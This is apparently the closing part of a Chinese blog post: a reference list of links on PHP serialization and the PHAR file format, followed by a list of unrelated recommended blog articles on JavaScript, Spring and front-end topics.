https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://www.webhek.com/post/packaging-your-php-apps-with-phar.html
https://paper.seebug.org/680/
https://zh.wikipedia.org/wiki/PHAR_(%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F)
https://www.php.net/manual/en/phar.fileformat.ingredients.php
https://www.php.net/manual/en/phar.fileformat.phar.php
https://www.php.net/manual/en/phar.fileformat.signature.php#:~:text=Phar%20Signature%20format%20%C2%B6,%2C%20SHA1%2C%20SHA256%20and%20SHA512.
推荐阅读
- JavaScript|JavaScript: BOM对象 和 DOM 对象的增删改查
- Spring|SpringSecurity--自定义登录页面、注销登录配置
- web前端笔记|web前端学习-第一天
- JAVA框架之路|spring-boot笔记-工程搭建(一)
- spring|Java学习笔记(SpringMVC)
- android|逆向工程之表达式优化识别(5)-取模